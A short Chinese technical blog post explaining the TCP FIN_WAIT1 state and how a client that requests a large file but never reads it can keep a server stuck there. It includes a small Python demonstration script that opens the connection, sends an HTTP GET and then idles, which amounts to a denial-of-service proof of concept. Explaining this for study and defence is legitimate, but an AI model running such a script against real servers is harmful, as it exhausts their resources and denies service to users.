FIN_WAIT1解析

refs:

http://blog.csdn.net/bytxl/article/details/46544169



利用FIN_WAIT1的Dos攻击:

假设服务端上有一个大文件,攻击者连接服务端发起请求,但是却不接收数据,于是乎就造成一种现象:客户端接收队列满,导致服务端不得不通过「zero window probes」来循环检测客户端是否有可用空间,以至于 tcp_orphan_retries 也没有用,因为服务端活活被憋死了,发不出 FIN 来,从而永远卡在 FIN_WAIT1。演示代码如下:

#!/usr/bin/env python

import socket
import time

host = 'www.domain.com'
port = 80
path = '/a/big/file'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
str="GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host);
print(str);
#Python 3.5 cannot directly pass string. 
#It needs to be passed in to the bytes-like object, and you need to use the string encode() method
sock.send(str.encode(encoding='utf_8', errors='strict'))
time.sleep(1000)

说明:通常文件大小以 100K 为佳,具体取决于 tcp_rmem / tcp_wmem 的大小。


你可能感兴趣的:(python)